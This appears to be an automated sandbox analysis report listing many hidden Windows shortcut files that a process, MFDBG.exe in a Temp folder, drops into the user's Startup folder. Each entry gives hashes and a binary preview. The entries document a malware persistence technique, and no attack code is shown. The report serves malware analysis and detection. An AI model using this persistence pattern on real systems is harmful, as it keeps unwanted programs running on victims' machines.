File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924997495662102
Encrypted:	false
SSDEEP:	24:8UBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	992673B6CCC77D31EBD5F218DEDD2E30
SHA1:	20E045CB2EB904EB1EDFB8894F8E02FA1CF3463F
SHA-256:	71A71DC5E8AD8C4C811DEA2C6574983099013E611273D8EFC414FD3BE4AC8B30
SHA-512:	8493DABA8E26B3F164812B6AB67197FC982A587C0C6A9053AFA0E81052AC7B2DEEE0D810936BA927297DB3FD6BB8EAD0DDEA0D966157794F130C25A0615DEEBB
Malicious:	false
Preview:	L..................F....".......d....~.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9b215447b0e840b8aac884738ea1c5f2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927299855179359
Encrypted:	false
SSDEEP:	24:83BfV8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DE0073DAEC81E5266CC94FD93E17F7E4
SHA1:	FC5E855576B6F37997C1A9715AB76D0F318EA22C
SHA-256:	D5B5D80768E382B786912FCE382B4564993DB902F29DFAE0EC7608CBF1E178B5
SHA-512:	74E8FF48B86DC1C2C25186B0A8BCF4F5DE8384B88BE6E6B07207864D339E8BDC711C8247FC2F975151892F185305952BBCCE1110FA72A3D08A1980CA1A71B4D8
Malicious:	false
Preview:	L..................F....".......d.....,}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....,}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9b39059648df4af0816ec166c72811db.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920821973619387
Encrypted:	false
SSDEEP:	24:8fBfJ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6DB1245DEF0F1256E51768F54D856EB9
SHA1:	B6BB84B23069128B7EABAE4956438749B2FB65AE
SHA-256:	25A3D656E2C35C9AC1A1037E4579664718E378C7D997327643898B915EC6157A
SHA-512:	4746FBC733EDB6BFC1AE0CBC3313D67629057F8458F8AC96B3FC9C73E7425134CF861809807972CAC3F0E10B2C15A49CDAD2AADF3E2986AFC918B94E64B52283
Malicious:	false
Preview:	L..................F....".......d....l.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......8d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9b52a63a2e1746e4b06e218785698f22.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914191625612331
Encrypted:	false
SSDEEP:	24:8cBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SREvZ0yRO7DLO2zdxdRd1kyg
MD5:	4AC0A5F517835B167A55028A6DED345D
SHA1:	8CB2C03A1084C7B68619DAEABB45D358001F9376
SHA-256:	1ACED0D861EE149E9EF27A98294F0C3924BFD0015AD6D682A6A5D7ACC3AADE91
SHA-512:	CBA45C50DBC4701CBB355FED59606CA178632343B0C1B33530F4327C2ADF1F3165645F8D3D967358D8459B13FAF17940522A7A3AC000BB8DB1A47CC5BA982911
Malicious:	false
Preview:	L..................F....".......d...B..?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9bdb11ca787543c08b8df79f7e00d6c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218910750142335
Encrypted:	false
SSDEEP:	24:8OBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8k2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7C9AC80F3DF9B46B8B0E6AB3FA1B5F51
SHA1:	C98B251A15B2E33ED184092A8FDA0853E50BABD2
SHA-256:	9264E6A0C32D6B5240EF937E77EADB22F8193EDF123BBB8B0B31A8800A60A413
SHA-512:	C4871E42D8D1A0E189C52B66CC943801D2BE8124FB58407B7D8C1E5601B845C2DC2309C2871E1A182EF24820BF6B67066666AFAAD6562486442E5896DC97CD0A
Malicious:	false
Preview:	L..................F....".......d.....Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c256477ecf24e49a786ad725f7a8478.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918659654781123
Encrypted:	false
SSDEEP:	24:8qBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0A2037E5AEAF2E088B45D9618AD6C0F6
SHA1:	1C9A95DA41C098A7A38D05152F0D84F08981DA48
SHA-256:	BB4C6AD068766E084B68C69D30C958DCE8FD63EE02C98A4D852E53475BFCA8C9
SHA-512:	DF000A115D93281CF9F5124BD1D517B0E1057AB26DC4C6B3C6B55A727B256CE4460A11DAA9662F56A72F36C10B3E0AE67BC17AD714D94AC7DD62F5915CBA4B9A
Malicious:	false
Preview:	L..................F....".......d......Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9cb386adc9de48f3b1cf9f560d94f8ea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9250307426876585
Encrypted:	false
SSDEEP:	24:8TBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E9F6A48301538C0C5179D1A3544FE510
SHA1:	499FB8F80DFB3E7ED85F2E491EDBE4BA53208607
SHA-256:	7E7F839DCA92380A86EAD8E4872E5ABD8488D10A52E61D63F1E60F729C873E28
SHA-512:	8AF676A917653F80F57BB9CDCFBA5759AAB9809C22FF22DCD28D42FB6F0A4C710D4220B5CF17FF3504A8C6E6E55956FEB7EAC5C4A5BDE631B6506B001CC8B4E7
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ce4f0954cab478fb82b45a53e56dea3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925304557816813
Encrypted:	false
SSDEEP:	24:8/BfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	04934FC180EBA5C44C45687B79C0D20A
SHA1:	786ADAA0B30F5DABE7EFA706F77A5515DC26CA6E
SHA-256:	11C7282882A4F3C71555108D1BFFF08252072C650948120AE9011424D904609F
SHA-512:	6058842462C75E4008735BB06902B32DA6779A1F0524C9FA855F84EF67E640F71832538067E69F322DF4E260766229D7B77F6111056AC8A1FBB4C5A0FE43FFDC
Malicious:	false
Preview:	L..................F....".......d....V.}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d71edf4b7e2408cb61bca3fe9810a9f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925415304089124
Encrypted:	false
SSDEEP:	24:88nQBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	15FF88059B7B9CFC727DFCD683E5034B
SHA1:	350E8456C66C281E8924342C90C140B2C605736F
SHA-256:	059D1A7D60713B3523FB1125857A39425B451B354A994444B5365EF5B2570B8D
SHA-512:	A11F1D95CCD2278D494091E8661271FDF6248CD9F18A5D5F11B5A2F01C83C2D099AE87648E5ADFB01F934DAF7C63F28B47F5BCC68C01BCE9E17CBCE3B52EFE09
Malicious:	false
Preview:	L..................F....".......d.....d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...-8..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d8079e615744396a77e31627d931da9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923816258408522
Encrypted:	false
SSDEEP:	24:80BfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0EC467988E533F6EE1B139ACACF85ADA
SHA1:	27D16C3A4A92010AB99E04EE218936E936315C31
SHA-256:	DDACB3E9151DA8A0FC89B863696549ECAB3AE1E205598AD054B85659E30D3C0A
SHA-512:	25891A3CD3E4D7B29421103064F919FD9791821F11FBCB52BECC7A9F61890447E1B81744D4C31817393C09FD15CA2EF5B2F81BA025E18F7C68961E37BE050ADC
Malicious:	false
Preview:	L..................F....".......d....m.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d8f2f30a768495cbac74f2ea5d9d520.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92244791682489
Encrypted:	false
SSDEEP:	24:82xBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82LQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A52ECD637284F5CE2A1BB8CD73490C20
SHA1:	2C086E33C2B1859CFAEA3774D1AAAD1B7DC1BA4D
SHA-256:	BAB81709EF4D20B8E705AB78EC2C9808E9304A33F8DCF6A2D8AB0825C3D31B2D
SHA-512:	F784433A3FCE0D46F2A8297E153153CD27643A46AB1B8A40E3CAF733EF01A591B259EBB4ACB8B5299A68F2068E45CF1A8C7D16BF550D5112A96FFA6AC41B1E14
Malicious:	false
Preview:	L..................F....".......d.....[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d9f396894b04a6a86593f80590bffe2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926290826961097
Encrypted:	false
SSDEEP:	24:8RrBfv8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/cEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CD64393F2CFEAD54F5CE05FEAFE93550
SHA1:	C9A34FBEF7F0B6F15BC48CAE56CC4ACFB9F627F5
SHA-256:	57DFB48E3A66AE953D487FD7030F85386233FB5A56E783E7762467721DC18CF5
SHA-512:	E82AEA73870C4F27711708FA7256BE73B8AAA444AE1A08256ED12DC064E52D03DDE6E0586A4FA655574AAA1DD087D1FD9F5B5B9B3062F68DFF41DF4E61C303DD
Malicious:	false
Preview:	L..................F....".......d....ZQ.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....3J.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9dd22b6e00954ad3bd57f0f8a275e0f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930088871165142
Encrypted:	false
SSDEEP:	24:8WuBfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8z/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	593CB09F9515E141663E27C13950A70B
SHA1:	99213BC3FF0DA87B890212143D4FB74AD79C224F
SHA-256:	F64AD1C45EFB6704DECC8AEDA163652FD7D740E774379E8CC762C16003A7F934
SHA-512:	2B8D433C938D66324C7B72D9AD7F03B40B49D182C1C1482B1C7F091116B48FC160CFF5B19891202B0BBA3E1EDEC64D0E654A8E80E4851BED86496056489CF554
Malicious:	false
Preview:	L..................F....".......d...N..%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9e4b2f1f74594f34ab1259deaf092b08.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
